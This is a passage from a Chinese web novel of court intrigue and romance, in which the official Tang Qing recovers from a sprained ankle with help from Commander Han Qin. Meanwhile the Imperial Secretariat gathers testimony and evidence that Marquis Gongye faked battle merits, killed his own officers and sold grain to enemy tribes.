寇广陵笑笑:“好小子,来尚出台上值两年,头一次听你说那么多话,怎么,怕唐侍郎怀疑你啊。” 唐青下意识抬头,往李秀莽身上瞥去一眼,道:“怎会?大人,您莫要拿下官玩笑了。” 共事的日子虽然不长,但唐青多少摸清楚寇广陵的性子。 此人对外端着,对下属偶尔口无遮拦,是个幽默风趣的领导,与对方相处,还算愉快轻松。 韩擒并未插话,只在李秀莽上楼取药时,沉默看了一眼对方的背影。 不多时,苏子游端来一盆冰块,将布巾递给韩擒。 韩擒把冰块放在阳光底,待融化些许,用冰水浸湿布巾。 李秀莽取了跌打扭伤的药下楼,欲等韩擒为唐青冰敷完后再给他上药。 韩擒试了试毛巾的温度,注视唐青的眉眼:“会有些疼。” 唐青:“我能忍。” 话音方落,韩擒轻缓抬起他的腿搭在膝盖,把冰湿的毛巾捂在扭伤处进行冰敷。 他浑身禁不住颤抖,身子往旁边倒去。 李秀莽扶稳他的胳膊:“当心。” 唐青神情因为痛楚而流露隐忍,勉强浮出一笑:“多谢。” 韩擒微眯双目,盯着李秀莽扶上唐青的那只手,面色沉了沉。 待冰敷完毕,韩擒检查李秀莽带来的药,道:“确为不错的伤药。” 他未拿下膝盖上的那条腿,将指腹搓得发热后,倒出药油,一丝不苟地在唐青足踝伤处涂抹。 多年习武的指腹粗糙,擦过细腻的肌肤,仿佛触碰上最柔润光滑的美玉。 四下寂若无声,待涂完药,几人才如梦方醒。 寇广陵率先清了清嗓子。 “那什么……出去一趟不容易,待会儿都上二楼议事。” 尚书台替帝王执掌内政要务,韩擒不便逗留,只能先行离开。 走前,他叮嘱唐青:“莫要沾水,这瓶药带回去,让伺候你的丫鬟每日给你涂两次。” 唐青:“好。” 寇广陵目送韩擒走出尚书台,似有所思地摸了摸下颚。 他低头观察端坐在椅子上的唐青:“总算晓得,何为有美人如此,也叫君王不早朝了。” 唐青敛起神色:“大人,下官与皇上为君臣之礼。” 想起宫内前段日子所传流言,寇广陵无奈地往额头一拍,说道:“侍郎莫气,方才一时感慨,并非针对侍郎。” 唐青点点头。 此小事揭过,寇广陵召来尚书台的几名官员上二楼议事,唐青由李秀莽搀扶着缓慢移动,行至阶梯前,面色为难。 后头跟来的寇广陵道:“唐侍郎,不如我抱你上去?十分乐意为美人效劳。” 唐青:“……” 无奈之间,只听李秀莽道:“我抱侍郎到楼上。” 对上李秀莽那副深邃如常的面容,唐青宁愿让对方来。 “如此,有劳尚书郎了。” 李秀莽低声:“冒犯了。” 唐青的腰肢和膝盖弯一紧,身体腾空,李秀莽稳当地抱着他上了二楼。 ** 此去探查,寇广陵与唐青整理了汇集的信息,发现公冶侯不但瞒报产业,且经营着大邺律法严禁的营生勾当。 待唐青将那几座瞒报的楼坊估算一番,寇广陵看着账面,眉心跳了跳。 唐青道:“公冶将军的违法收入远比想象中的还要多。” 这笔钱财,若放在涿州,足以养上全州十一郡三十七县的百姓们二十年不止。 在场的几位官员噤声,苏子游问:“可要上报给皇上?” 寇广陵道:“再等等,先差人将这几座楼坊的暗账拿到。” 酉时过,议会结束,唐青叫停寇广陵,说有事情想私底下与他聊聊。 摒退所有人,寇广陵问:“何事?” 唐青把在路上遇到公冶夫人的事情说明,寇广陵皱眉:“如果公冶夫人真的疯了,这些疯言疯语岂能相信?” 唐青道:“所以需要去洪光寺查探。 大邺以军功赏赐爵位。 从古至今,逢战乱时代,互相厮杀夺取军功甚至滥杀友军性命以其人头充敌军数目,冒领功劳的例子并不是没有发生过。 他心内起疑,认为还是先查清楚比较稳妥。 寇广陵听出他的坚持,唏嘘道:“你啊……公冶侯何等身份,动了他,势必会在朝上掀滔天风浪。换作其他人,怕只怕不敢沾这一身腥,以求自保。” 唐青淡道:“大人说笑了。” 寇广陵感慨:“美人如此魄力,怪不得为皇上所用,是在下轻怠了。” 唐青:“那便遣人暗中查查?至于皇上那边,下官去探探口风。” 萧隽虽然作为他最大的且是唯一的靠山,事关公冶侯,还是有必要先试探对方的态度。 寇广陵大笑:“好。” (下) ** 唐青崴了一只脚回到潇湘殿,兰香见此愁眉不展。 “怎么出去一趟就成这副模样了。” 唐青宽慰:“已经敷了药,过几天就能消肿。” 兰香小脸忧愁:“先生,要不寻个日子,咱们找机会去寺里上柱香,祈求神佛护佑先生无病无灾。” 可怜他的先生,容貌脱俗,风姿绰约,却总连续生病,好不容易才将身子养得好些,半日不见,竟伤了脚,就没几日身子好过。 唐青失笑:“倒不用这般麻烦,我这副身子一向如此,等你习惯了就好。” 兰香依旧叹气,绕到殿门外,朝四方拜了拜。 ** 唐青当夜再次抹了药,扭伤的脚踝已然不疼,翌日醒得早,检查时发现伤到的地方消肿许多。 看来李秀莽的药确实不错,寻个机会得向对方道谢才好。 兰香问:“先生还要去当值么?” 唐青道:“皇上没下口谕,自然得去。” 可怎么去,把唐青难倒了。 潇湘殿只兰香一人伺候他,要小姑娘搀扶唐青前往颐心殿不现实,且路程较远,不利于脚伤恢复。 兰香寻思:“我拿些钱到外头寻人,看看能不能找个宫人背先生过去。” 唐青轻叹:“只能如此。” 兰香还未走太远,瞧见往潇湘殿来的那人,下意识觉得对方就是来找先生的。 她候在树下,恭恭敬敬福礼。 “奴婢见过大统领。” 韩擒问:“唐侍郎可在。” 兰香忙答:“在的,可先生要去御前当值,而今无法走出殿门,正犯愁呢。” 韩擒:“我去看看。” 兰香引路,方到殿门,便笑着开口:“先生,大统领来看您了。” 交椅上的唐青侧首,和韩擒投来的目光碰个正着。 “统领。”他勉力支起双手想站起来行礼,被两只手掌托住,扶稳后重新坐了回去。 唐青:“恕下官不便行礼。” 韩擒摇头:“先生,何须客气。” 又道:“可是要去颐心殿,我带你过去。” 唐青:“这……” 兰香的视线在两人之间打转,抿唇窃笑。 “先生,外头的宫人咱们与他们也不熟,还不如让大统领送你。” 大统领常年习武,身骨结实,处事稳重细致,定能照顾好她家先生。 韩擒背对他半蹲下,侧目注视:“来。” 唐青唇动了动,拒绝的话停在嘴边。 韩擒生得剑眉星目,是很传统端正的英朗相貌,眼瞳黑沉沉的,专注看人时,让唐青霎时不知如何反应。 他的指尖虚虚放在对方肩膀,迟疑地想着要不要扶上去,身子陡然一空,韩擒直接背着他站起。 许是韩擒细心,担心唐青此番情形让宫人看到后萌生窘迫,遂走了条僻静的路,顺利地将他送至颐心殿宫门前。 韩擒放下他:“进去当心。” 唐青:“嗯……” 他一顿:“近来数次劳烦统领,若不嫌弃,改天下官请统领吃顿饭,不知……” 话未说完,韩擒低声应:“好。” 四目相对,皆震了震。 唐青垂眸,轻轻莞尔:“好。” ** 值守在颐心殿的宫人瞧见唐青不便,忙搀扶着他进去。 “侍郎怎地如此?” 唐青笑着解释:“崴了脚,小伤,无妨。” 他将日常的准备工作备好,腿脚尽管有不便的地方,仍尽力把该做的事都准备妥善。 萧隽散朝回来,看他拖着脚伤要行礼,长眉微蹙,让李显义扶他坐回去。 李显义道:“侍郎当心,别又摔着了。” 唐青浅笑,眸光落向御案前:“谢皇上恩典。” 萧隽没翻阅奏折,淡冷色的眼瞳静静打量他。 “卿说说吧,发生何事。” 唐青道:“臣昨日与寇大人外出查探,核证了几个比较重要的消息。” 萧隽淡道:“伤就是昨日外出弄的?寇广陵怎么办事,连个下属都护不住。” 兴许伤到了,不便回宫,才叫韩擒背着。 可唐青与韩擒的关系,何时到了这种程度。 唐青观察帝王面色,斟酌一番,口吻徐缓。 “皇上,扭伤乃臣粗心所致,与寇大人无关。”话锋一转,“此番清查账册,牵连甚广,就前治粟内史郭常一事,恐都比之不及。” 在证据未经核实前,唐青没有摆出公冶侯与萧隽说明,只能试探试探口风。 毕竟君王态度,是他行事的重要风向。 “臣斗胆发问,如果朝中有大臣欺瞒皇上,知法犯法,枉顾人命,残害同僚,此人当不当定罪。” 萧隽双目一冷:“卿可以具体说说。” 抛开公冶侯一事不提,只郭常贪污案,朝中就有不少名官员牵涉其中。 这些日子尚书台已经遣人查清楚,铁证如山,唐青如实汇报,待证据交由廷尉府审查完毕,即刻定罪量刑。 唐青虽有外伤,却不见萎靡,一双潋滟美丽的桃花眼具是神采,使人观之心怡。 萧隽意念轻动,道:“卿上次在左相面前的一番言论,再详细同孤说会。” 唐青想起那番治国论,不禁脸热。 “皇上,臣当时头脑一热,仅从文书卷册中所记载的信息便论述观点,后与皇上微访邺都,有了新的领悟,知晓有的事还得经实地考察清楚,方才可以慢慢定夺。” 不过大邺的整体国情与汇报上来的大差不差,用“与民生息”一策论处,总体方针不动摇,细节之处经考察之后再调整,也说得过去。 他稍微清了清嗓子,就上回调整郭常经济政策一事,与萧隽发表自己的看法。 “臣以为,当下内患既平,现今恢复百姓经济为首要,由朝廷把持的田、盐理应将部分归还到百姓手中……” 具体的经济调整政策一时半刻说不完,期间唐青添了几盏茶,御座上的人亦在专注倾听。 说完最后一句,他嗓子已经哑了不少。 李显义适时提醒:“陛下,该用午膳了。” 唐青这才意识到他说了将近一上午,也难怪嗓子开始疼了。 他微微拱手:“皇上,臣先告——” “等等,”萧隽长眉轻挑,眼中淡漠似化了几分:“卿带病当值,衷心可鉴,不妨留下,与孤一道用膳。” 唐青:“……” 帝王发话,哪敢拂了对方面子? 他点点头:“谢皇上恩赐。” ** 唐青由宫人扶到用膳的大殿,得帝王赐座方才在底下坐好。 李显义在门外传膳,宫人们端着膳食鱼贯而入,动作轻而有序。 萧隽注视食案前乖巧端坐的青年,不知怎么,心里浮起莫名的愉悦。 “卿不必拘谨。” 唐青抬起瓷盏:“臣以茶代酒,敬皇上一杯。” 普通百姓,一日能吃上两顿,即朝食和辅食,已然很好。 唐青打量食案上摆放的午膳,精致可口,营养搭配均衡,寻常百姓一年所用,都买不到此等精致膳食。 他得到帝王允许,方才动筷。 唐青进食动静轻小,倒是萧隽,似笑非笑地:“卿为何如此拘谨,跟猫吃食似的。” 唐青面色微讪:“臣……” 放眼天下,谁能当着皇帝的面大快朵颐?他怀疑眼前的帝王在拿自己消遣。 可这些话只能放在心里,嘴上自是不说什么,反倒还得笑脸迎人。 ** 午后,唐青回到颐心殿,照萧隽的意思,把上午提起经济改革之策写下,这一写又过大半日。 傍晚的霞光透进殿内,唐青从案几抬头时,只觉四周似梦似幻,再看御前的人,他竟与皇帝在一起共处了整日。 萧隽放下狼毫,对上唐青来不及收起的眸光:“此情此景,卿倒愈发风姿卓然。” 唐青思维跳了跳:“臣惶恐,皇上过誉。” 萧隽:“宫里头一些小侍女,近日私下里常常打探跟在御前伺候的唐侍郎,说侍郎有芝兰玉树之风,貌如谪仙之姿。” 唐青:“……” 萧隽食指在御案前一点:“常在颐心殿侍奉的宫女,其中不乏品貌端正的,卿可有属意。” 唐青道:“皇上,臣如今心无所属,也无心此事,只想做皇上的刀,尽力而为。” 萧隽口吻慵懒:“只想做刀,不想做点别的,就比如……” 唐青贸然打断:“皇上,天下美人千万,臣品貌平凡,定不为皇上掌眼。” 又试探着开口:“皇上会有更好的美人相伴,不会为难臣,对吧?” 萧隽扯了扯嘴角。 散值的时辰已到,唐青不宜久留。眼看皇上将用晚膳,他寻了缘由,借机离开。 李显义咋舌:“这唐侍郎……” 窥见皇上似乎被呛了一番,却并未生怒。 萧隽瞥了身边的常侍一眼:“孤气什么?” 唐青那番躲避不及的态度,嘴上挂着的君臣有别之论,现今再听,就跟爪子在心口挠了一道似的,不疼不怒,反而有点痒。 李显义:…… 皇上被唐侍郎呛了一道,怎地还挺高兴。 第025章 第 25 章 唐青脚伤未愈, 皇上给他宽了假,不用去御前当值。 眼下尚书台着手调查公冶侯进入关键时刻,大伙儿都忙得脚不沾地, 到了夜里, 官署内灯火通明。 虽然寇广陵叮嘱唐青安心养伤, 但他不好两头闲着, 本欲差人送自己到尚书台, 碰巧遇到韩擒, 事情便又交由对方。 一来二去的背着, 许是相处有了默契,唐青趴在韩擒背后前往官署时,已不若最初拘束。 到了门外, 韩擒道:“散值后我过来接先生。” 唐青眼底有发自内心的真挚:“多谢,劳烦统领了。” 韩擒深深看了他一眼,在无声的对视中离开尚书台。 * 尚书台调来不少关于公冶侯的卷册,其过往、人脉、产业、日常动向, 逐一做了调查, 顺道把将公冶侯的夫人连曦, 也一并查探。 唐青跟着官署的几名官员每日伏案,几日后,总算理出比较清晰的眉目。 寇广陵打算先从过去与公冶侯往来比较频繁、或因种种缘由已被遣返回乡的人员下手,他托了专门的机构办事,天色未暗,就把名册上的人暗中带回七八成。 只是在审问这些人的过程遇到阻碍,他们绝口不提关于公冶候之事, 要么模棱两可含糊其辞。 寇广陵长叹,此事提了一嘴, 道:“未经定罪,咱们又不能私下动刑把人屈打成招。” 苏子游目光一转,看向交椅上的身影。 距离唐青坐得最近的李秀莽,破天荒地开口问:“唐侍郎有何看法。” 寇广陵叹息:“你的点子多,对付此等人,不屈打成招,可有法子令其说真话?” 唐青在几双眼睛的注视下,润白修长的手指在案桌敲了敲:“有倒是有。” 寇广陵来了兴致:“侍郎说来听听。” 唐青道:“找几间黑暗且密闭窄小的空间,将带回的人各自分开关押,期间不给粮食和水,在他们主动开口前,更不用去看他们或严刑逼问。直到有人愿意开口,再将其带到明亮刺目的地方加以审问,届时做好笔录,将每个人的供词进行对比,方能得出结论。” 寇广陵:“此为何意,能成么?” 唐青耐心解释:“皮肉之苦固然是苦,但……” 他指指自己的脑袋:“精神之苦亦折磨人心,从心理上摧毁,痛苦更甚。” 他一派恬淡闲适的姿态,话中谈吐却与吟风弄月无关。 彼时一身紫衣的青年眉眼潋动着清浅笑意,如葱指尖轻晃,端地叫人半晌挪不开视线。 率先回神的寇广陵笑道:“那就照着侍郎的话去做。” 另一名在尚书台当值三年的莫冰办事稳妥,寇广陵便差了莫冰下去着手此事。 尚书台不像其他机构那般招揽众多官员,包括寇广陵在内,笼统也就七个人。 派出莫冰后,还有诸多要务等待处理,余下六人把精力全部投入职务中,在尚书台一留就是整日。 ** 次日,唐青早早就来了尚书台,其他同僚亦很早上值。众人各司其职,连喝口茶的功夫都没有。 唐青负责整理关于公冶候的卷册,又陆续忙了三日,莫冰出去办的事进展顺利,回来时抱了一摞笔录,上面记载详细的口供结果。 寇广陵逐一看过后,不由笑道:“好啊,有了人证和口供,发展更进一步了。” 他走到唐青的案几前,笑着端详伏案干活的人,顺手斟了盏茶水递去。 唐青忙里抽空喝了半盏:“多谢大人。” 寇广陵道:“唐侍郎,那群人的口供已经拿到了,我方才把所有的笔录进行对比,口述几乎一致,你这法子果真好用,不费半分精力和力气,就能收获超乎预料的结果,此乃妙招啊。” 唐青谦虚道:“大人过誉,下官此举,实为前人栽树,后人乘凉,从经验中获取成果罢了。” 审讯结果刚落幕,尚书台几人还没来得及高兴,派出去的密探现身汇报,说是跟着连曦夫人的事情没办妥当。 寇广陵本来找了个女吏乔装成普通妇人,借机会跟连曦夫人接触。若进展顺利,便寻机试探口风,看看能不能问出更多的实情。 可根据回来的密探所说,女吏经过乔装好不容易混进将军府,见到连曦夫人时,无论怎么表明来意,夫人都极为躲避,概不回应。 而且连曦夫人确有异状,时而人似疯癫,说着胡话,时而又平静如常,与普通人无异。不管请多少名医,诊金如流水,治疗大半年,丝毫不见病情好转。 寇广陵皱眉:“这该如何是好,虽有旁人口供,可如若能得到连曦夫人的证实,岂不锦上添花?” 李秀莽开口提示:“十五。” 寇广陵立即领悟。 唐青接话:“据密探查到的消息,连曦夫人每月十五都会去城郊的洪光寺上香,这个月定然也会去。咱们不妨趁十五那日,与她在洪光寺见一面,找个能说会道的人与她接触接触。” 李秀莽道:“洪光寺往来的人员密集,不便找机会下手。在其附近,有一座年久空置的道观,可想法子引连曦夫人过去,再做打算。” 旁人纷纷附和,认为可行。 寇广陵道:“派去的女吏都不好使,咱们几个大男人,能跟夫人谈上什么心?” 话音方落,苏少游和陈霑忽然默默瞅向唐青。 寇广陵若有所思:“好像是有能跟连曦夫人谈话的人。” 唐青挑眉:“我?” 苏少游点头:“对啊。” 陈霑道:“唐侍郎气度不俗,与之言话,恍觉春风迎面,使人心内舒适,怡然欣悦,定比在场所有人都合适。” 唐青看着几双眼睛,无人反对,那便是赞同了。 他忖思,道:“既如此,姑且一试。” 只是,时下他腿脚有伤,行动不便,要想悄无声息潜进洪光寺附近和连曦夫人接触,恐有难度。 寇广陵道:“秀莽幽州出身,少时就习武,是尚书台里武艺最厉害的人,且让他随你左右,助你行事。” 唐青望向一旁的李秀莽:“劳烦尚书郎了。” 寇广陵道:“届时,唐侍郎穿上一身仙风道骨的衣束,本就气度非凡,往那一站,端地九天谪仙。连曦夫人这般信奉神明,侍郎见机行事,加以引导,定能令她开口说话。” 苏少游道:“大人所言有理。” 商议好对策,时辰已然不早。 ** 唐青散值后走出尚书台大门,他腿脚不便,步行缓慢,走一段距离就需停下适应适应。 转过一尊石狮,遇见韩擒。 韩擒扶他:“可还好。” 唐青道:“能慢慢行走了。” 对于特意出现过来接自己的男人,他已能自如面对和……接受。 虽然腿脚能动,但目前行动总归受限着,唐青慢走片刻,在韩擒的提议下,默默让对方背起自己。 日色早已西沉,宫道两侧连着一盏接一盏的宫灯。落在地面的影子拖长了彼此交叠,唐青与韩擒起初未叙闲话,默契地保持安静。 渐渐地,韩擒觉察出唐青气息有异,便问:“先生,可是身子不适。” 又道:“这阵子累着了吧。” 尚书台忙得不可开交,饶是韩擒,都略有所闻。 唐青轻轻打了个呵欠,温暖如兰的气息像羽毛拂在韩擒耳廓之后。 他轻轻叹息:“是比较累,过完这阵,待尘埃落定,应当可以休息一些日子。” 距离潇湘殿还有段路程,韩擒动了动略微发烫的耳根,低声道:“若累了,先靠会儿歇息,到了地方我叫你。” 他们的声音很轻,不靠近根本听不出在说些什么。 唐青勉强睁大朦胧的双眼,道:“不必,只这段路很快就到了。” 话虽如此,气息却愈发平缓。 韩擒顿了顿,僵在原地稍息。 背后的人终归还是太疲倦,温暖细腻的脸庞完全靠在他肩侧,环在脖颈的胳膊微微松开,韩擒目光沉定,背得更稳,带着人一路走回潇湘殿。 * 兰香在殿门外徘徊,准备去接先生时,恰好看见大统领把人背了过来。 她凑上前,韩擒低声:“他累了,让他好好睡一觉,备些清粥随时温着,若夜里觉醒,叫他喝些。” 兰香:“好的统领。” 韩擒将唐青轻缓放回床榻,注视温和恬静的睡颜,窥见那道眉心极轻地蹙着,想以指腹替他抚平。 刚抬臂膀,又恐自己手太粗糙碰疼了对方,竟叫韩擒无端地感到不知所措,胸膛内充盈着陌生而不可思议的柔情。 韩擒勉强抽离目光,朝兰香微微示意,抬步离去。 兰香送韩擒走远,待那道背影消失在月色间,方才喃喃。 “大统领……是不是很喜欢咱家先生啊。” (下) ** 十五当日,唐青照着原定的计划开始准备。 寇广陵替他找来一套道士服,对襟直领的青色羽衣,配以绣制云霞花纹的霞帔。 他将霞帔披于肩上,漆黑如墨的绸发以金缕冠束起,气质渺渺,超逸绝尘,仿如仙人下凡。 为唐青打理头发的兰香禁不住打量铜镜里的人,仰天叹道:“先生,莫说旁人,就连兰香,纵使日日对着先生,此刻都以为面前坐了位活神仙。” 唐青莞尔:“能唬住人就行。” 兰香笑呵呵的:“定能如先生所愿。” 着装完毕,李秀莽前来接他去往已经布置妥当的道观。 甫一相见,李秀莽明显怔住。 唐青忍俊不禁,玩笑开口:“这位大人,可是找本道算卦?” 李秀莽似乎不知如何应话,唐青见好就收,唇边笑意隐去,停了这份打趣。 ** 洪光寺人声鼎沸,寇广陵派去的暗哨已经潜入寺中。 连曦夫人身份特殊,是以都去清过场的宝殿独自上香,而今神智有异,更是不得任何让人打扰。 提早潜伏的暗哨替换了宝殿内的一道熏香,可使连曦夫人在一定时辰内出现昏迷的症状。 连曦夫人如过去每月一般,上了香,在宝殿内忏悔,时辰方过,便由丫鬟扶着离开洪光寺,乘上马车。 今日马车还未驶离太远,忽听丫鬟喊道:“不好了,夫人身子不适,已经昏了过去。” 赶路的车夫迟疑不定,丫鬟怒道:“若夫人有个差池,你们和我的命都赔不起,还不快寻处地方让夫人歇上半刻?” 丫鬟四处张望,指了指前方:“那儿有一座道观,看起来清净,先送夫人过去。” 车夫不敢辩驳,旁边的护卫亦被丫鬟唬住,只能先送夫人去道观歇息一阵。 * 道观内有一名稚嫩的小道童洒扫,丫鬟观周围清净,陈设虽朴素,但胜在整洁。 护卫沿道观检查一圈,未发现可疑之处,遂让丫鬟将半昏迷的夫人扶出马车。 丫鬟朝小道人开口:“我家夫人途中身子不适,想借此地歇脚,可能行个方便?” 她递出一个钱袋:“这是酬谢。” 小道士赧然:“既有需求,院里正好有空出的厢房,钱是不敢收取,还请夫人进里头休息。” 待连曦夫人被丫鬟送入厢房,暗中在道观潜伏的人即刻寻机动手,一把随行的丫鬟和护卫药倒。 ** 连曦夫人从昏迷中幽幽转醒时,恍觉周身浮绕层层白茫茫的云雾,犹置天境。 她揉了揉双眼,定睛一望,竟看见身边坐了名仙人。 仙人眉眼含笑,着金缕冠,羽衣圣洁轻盈,散发着温润渺然之气。与其对视,浑身顿生出一种说不出舒适感,仿佛不管身负多大罪恶的人,都能得到净化,想叫她永远沉溺其中。 仙人开口:“夫人可还有哪里不适?” 连曦夫人下意识应:“没有……” 又唤:“仙人……” 唐青道:“在下并非仙人,只是在观内修习的散道。” 他面色温和:“我观夫人似乎长久郁结于心,目色消沉混沌,可是受魇事困扰?今时今日,你我相遇也算机缘,若能把困宥一事宣之出口,对身子可谓有利无害。” 连曦夫人仿佛被此话打开了某种不愿深想的回忆,神情痛苦,面色泛白,摇了摇头。 唐青不做勉强,道:“夫人好生休息,在下先行告退。” 他欲起身离开 ,连曦夫人瞧见那抹超脱尘俗的身影将要消失,几番苦挣,忙唤:“道人等等。” 唐青回眸:“夫人。” 连曦夫人紧攥盖在身前的薄薄褥子:“还请道人再多留些时候。” 她目光发茫,恍然中好像随着那些不堪的回忆下沉,永世不得超脱。 唐青重新落座,耐心等她慢慢开口。 连曦夫人道:“我和公冶候成婚十年,夫妻本同心,原不该将此事说出来,可他……他做的恶行实在太泯灭人性了。我作为连家独女,他日到了阴曹地府,怕只怕无言面对连家的列祖列宗。” 她蓦然垂泪:“我爹名唤连膺,曾为公冶候的挚交兄弟。当时邺朝深陷割据之乱,许多王侯拥兵自固,妄自称帝,但都没有枭雄之风。” “皇上率领三十万骑兵从胡族起势,踏平冀州乱局,直抵兖州,剿灭敌军,将外族连连击退,攻入邺都。公冶候率先拥迎新君,我爹自当追随。之后公冶候被封为昭武大将军,阿爹则为其副将,数次为公冶候在战场前线浴血奋战,冲锋陷阵。” “阿爹是一代英雄,若血染沙场,那也是护卫家国的荣耀勋章,死得其所。可……可他当年,连同那些与他一同追随公冶候的部下,死因皆非归于敌手,而为自己人所害!” 连曦夫人全身颤抖,手指紧紧揪着衣襟,似要透不过气。一阵痉挛后,方才艰难地继续开口。 “那年隆冬,邯州大雪。我爹奉命,带领一众部下前往祁阳县驱逐突桀人,苦战整整半月,伤亡惨重,却也让突桀人遭受重创狼狈暂退。” 她惨然一笑:“危机时刻,公冶候非但没有派人支援阿爹,反而亲自下命,绝了的他们后退的道路。我军等不到援救,士气逐渐溃散,阿爹带领残余部众暂时撤离,因无路可退,途中伤势过重死了一批,还有另外一批,在冰天雪地里,活活冻死饿死,阿爹……便是冻死的……” 连曦夫人满眼热泪:“公冶候收到消息,这才率领一支先锋队前往祁阳,他在途中,命部下将伤亡的将士割去头颅,阿爹与他的兄弟们……全部惨遭毒手,无一人幸免。” “后来公冶候整军待发,击退已经受到重创的突桀人,又将我爹他们的无头尸首混入敌军尸首中充当人头数目,冒领了本该属于我爹与一等部众的军功……” “祁阳皑雪茫茫,把公冶候的恶行全部掩盖。当年听信公冶侯行恶之人,全部升了官。此事瞒天过海,死无对证,若非前年我无意进入密室,听到他们谈起,决计想不到枕边竟睡着这么一个恶人,丈夫……残害我爹的凶手!” 唐青看连曦夫人快要撑不下去,急忙搀了她一把。 连曦夫人面盈泪珠,喘了喘气息,又道:“许是这些年他在朝中越发的势,胸中狂妄,过去所为,好竟让他毫无避讳起来。是以,让我钻了空子。” “为公冶侯谋事追随他的人,为保自身利益和性命,留下事关当年的证物和密信,防止公冶候反咬他们一口,而我无意获取了那些证物,私藏起来。” “不知几时起公冶候怀疑我开始查他,对我严加看管,为了自保,前年开始,我只能佯装疯癫,他越是避讳的事,让我胡乱虚虚假假的道出,反而降低他的戒心。” 连曦夫人本以为事情就此平息,她隐忍不发,不知该如何是好。 在她未做决断时,公冶候嫌她年老色衰,纳了两门妾室,还将其接入将军府内。 连曦夫人育有一双儿女,去年冬,那妾室华氏趁她不备,竟派人将六岁的儿子推入湖中,她儿虽救了回来,却因为高热不退,烧得痴痴傻傻,难有恢复的希望。 儿女是压在她身上的最后一根稻草,连曦夫人的心彻底溃败,当她摇摆不定不知如何决断时,也就在今日,遇到了眼前的道人。 连曦夫人轻声询问:“道仙,你说我究竟该如何做,才能从这无边的地狱中摆脱出来?” 唐青展开一块干净的方帕,待连曦夫人擦干泪水,适才徐徐出声。 “如果夫人愿意相信唐某,便将公冶候过去所犯恶行的罪证交给唐某如何?” 他眉眼温然,带着安抚人心的力量,连曦夫人渐渐看怔看痴了。 唐青道:“夫人,公冶候十恶不赦,残害至亲同僚不提,连妻儿的安危都可以枉顾,孰知有朝一日,等他知晓你暗中查他,并了解当年真相,会不会对你下手?或以儿女威胁,让你此生都开不了口。” 连曦夫人抖了抖。 唐青轻叹:“唐某非危言耸听,像他这样的人,做过那等事情后,内心早已麻木,完全的利己主义,所有人都可以成为他的垫脚石,不会心存愧疚。” 连曦夫人问:“你、你是何人……怎么能帮我?万一……” 唐青淡然一笑:“唐某帮你,尚书台帮你,背后的皇上,也会帮你。” 连曦夫人浑身一震,唐青望着她:“夫人无需害怕,若协助唐某,假以时日,待公冶候伏法,你和两个孩子都能安全,不会再有旁人危害到你们。天下之大,或许能等到医治好令郎的一天,到时候,夫人自然可以看他们成家立业,幸福圆满。所盼所求,只要活着,终有实现的机会。” 连曦夫人喃喃:“道仙……当真没有欺骗我吗?” 唐青摇头:“所言绝非虚假,在下唐青,涿州南郡人士,任职黄门侍郎,如今跟在御前伺候。” 他亮出官牌:“夫人如若答应,不日就会有尚书台的人与你暗中联系,且近来我们会派人保护你与两个孩子。” 连曦夫人低垂着残留泪痕的脸,面色经过挣扎,最终下了决心:“我答应你。” ** 游说连曦夫人一事办妥,尚书台的人松了口气,面带喜色。 苏少游道:“你们看,还得唐侍郎出手,我就说没人能抗拒得了他的……” 在几双眼睛的注视下,苏少游呐呐:“他的……” 他的什么也没说出个所以然,窘迫地挠挠后脑。 寇广陵笑道:“辛苦唐侍郎了,忙活大半日,今晚回去早点歇息。” 唐青没有拒绝,连日从早忙到晚,今天又高度集中精神应对连曦夫人,时下确实累了。 从尚书台散值离开,不无意外的,又看到那道接他的那个男人 他勉强牵起一笑:“你来了。” 韩擒盯着他看了一瞬,道:“先生很累。” 唐青喃喃:“是啊……” 韩擒:“在我面前,无需时刻以笑迎人,想怎么做都可以。” 唐青:“当真?” 韩擒:“嗯。” 唐青收起笑容,他脚伤没有完全愈合,加之身体和精神劳累过度,这次让韩擒背起来时,已然熟练地趴在宽阔的肩膀上,寻个舒服角度,没多久就睡着了。 韩擒沉默地带着唐青,虽无言语,沉黑的眼底却扬起少见的喜悦。 , 第026章 第 26 章 尚书台明光烁亮, 五日后,寇广陵派去将军府的人成功与连曦夫人对接上,按她的指示, 从几处地方寻到被隐藏起来的密信与证物。 这些证物带回尚书台, 经寇广陵亲自验证核查, 确保无误, 和被审讯的那伙人所交代的口供基本吻合。 除此以外, 寇广陵派去北境的密探负了几道箭伤赶回, 带了重要证物和消息。 之前唐青再度专审账目时, 于细微之处寻见异常。 他让寇广陵派人暗访公冶侯名下的粮库,发现公冶侯不但将粮食托商贾之手以几倍粮价卖给百姓,从中牟利, 更是私下输运至北方。 至于送到北方何地,密探经过数日高度查访,已有证物和结果。 这些粮食没送到大邺北方边境幽州的土地,而是越过北, 到了胡族、丹族之地, 以高价卖给异族粮官。 胡族和丹族受环境地貌影响, 能种植的粮物十分有限,如果遇到大雪或旱季,连年颗粒无收。 所以过去三十多年期间,他们陆续侵扰幽州之境,抢掠粮食钱财和当地的百姓。 粮食作为国之根基,更是重要的战略后勤物资,公冶侯居功自傲, 目无法纪,竟给胡族和丹族运卖粮食, 此行此举,可论通敌叛国之罪处置。 如此一来,种种人证、物证都对得上,届时由寇广陵亲自交给廷尉府,让廷尉府联合丞相主审,皇上坐镇,公冶侯纵能狡辩,面对诸多铁证,也百口难辞。 ** 忙到今日今时,尚书台的人都累得有些气竭恍惚,但他们目光灼亮,显然为即将来临的天下公审而兴奋。 苏少游道:“枉我原来还挺崇敬公冶侯,没想到他竟是如此十恶不赦之徒。” 莫冰评价:“知人知面不知心。” 寇广陵咧咧嘴:“大伙儿都莫要动怒,等事情告一段落,由我做东,请你们去福瑞楼吃一顿。” 苏少游搓搓手:“大人此话当真?福瑞楼的烤鸭可是地道,可价钱太贵了,一壶茶水都要收取好几两。” 寇广陵笑着开口:“自然,何时欺骗过你们?”他目光一转,朝唐青问,“唐侍郎来么?” 唐青不假思索地答应:“好啊。” 这是他在尚书台任职以来第一次参与“部门聚餐”,意义非凡,且与他共事的领导和同僚品性贤良,断然没有缺席的道理。 李秀莽环望同僚们,见他们一脸向往之色,虽不忍打击,但还是开口,说道:“事情还未结束,莫要松懈了。” 唐青对其展颜一笑,精力投入手上的案卷当中。 ** 依照大邺律例,公冶候连犯数条重罪。 其罪一,隐瞒军情实报,冒领军功,所犯欺君大罪,理应枭首示众。 罪状之二,身为朝廷重臣,却徇私枉法,私立违律产业,贪污受贿。若不及时惩治,以儆效尤,届时朝堂贪墨之风盛行,吏治腐败,国将不国。 公冶候谋取私利尤重,理应剥除爵位,其后三代,也因其罪行恶劣,不能入朝为官。 